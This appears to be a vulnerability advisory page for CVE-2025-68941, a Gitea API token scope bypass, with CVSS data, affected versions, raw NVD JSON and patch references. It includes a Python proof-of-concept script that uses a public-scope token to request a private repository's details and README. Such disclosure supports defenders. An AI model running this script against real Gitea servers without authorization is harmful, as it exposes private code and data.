Security Vulnerability Report
中文
CVE-2025-68941 CVSS 4.9 MEDIUM

CVE-2025-68941

Published: 2025-12-26 03:15:51
Last Modified: 2026-01-02 19:33:13

Description

Gitea before 1.22.3 mishandles access to a private resource upon receiving an API token with scope limited to public resources.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:* - VULNERABLE
Gitea < 1.22.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-68941 PoC - Gitea API Token Scope Bypass # This PoC demonstrates accessing private resources with a public-scope token GITEA_URL = "http://target-gitea-server.com" API_TOKEN = "your_public_scope_token_here" TARGET_PRIVATE_REPO = "username/private-repo-name" def check_private_repo_info(): """Attempt to access private repository information using public-scope token""" headers = { "Authorization": f"token {API_TOKEN}", "Content-Type": "application/json" } # Try to get private repo details url = f"{GITEA_URL}/api/v1/repos/{TARGET_PRIVATE_REPO}" try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print("[VULNERABLE] Private repo info accessible with public-scope token") print(f"Response: {response.json()}") return True elif response.status_code == 404: print("[SAFE] Repository not found or properly protected") return False else: print(f"[INFO] Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return False def check_private_file_access(): """Attempt to access private repository files using public-scope token""" headers = { "Authorization": f"token {API_TOKEN}" } # Try to access README in private repo url = f"{GITEA_URL}/api/v1/repos/{TARGET_PRIVATE_REPO}/contents/README.md" try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print("[VULNERABLE] Private file content accessible with public-scope token") return True else: print(f"[INFO] File access denied, status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-68941 Gitea API Scope Bypass PoC") print("=" * 50) check_private_repo_info() check_private_file_access()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68941", "sourceIdentifier": "[email protected]", "published": "2025-12-26T03:15:50.967", "lastModified": "2026-01-02T19:33:13.143", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gitea before 1.22.3 mishandles access to a private resource upon receiving an API token with scope limited to public resources."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*", "versionEndExcluding": "1.22.3", "matchCriteriaId": "3F93D132-969F-47BD-A092-6FDA641369BA"}]}]}], "references": [{"url": "https://blog.gitea.com/release-of-1.22.3/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/pull/32218", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/go-gitea/gitea/releases/tag/v1.22.3", "source": "[email protected]", "tags": ["Release Notes"]}]}}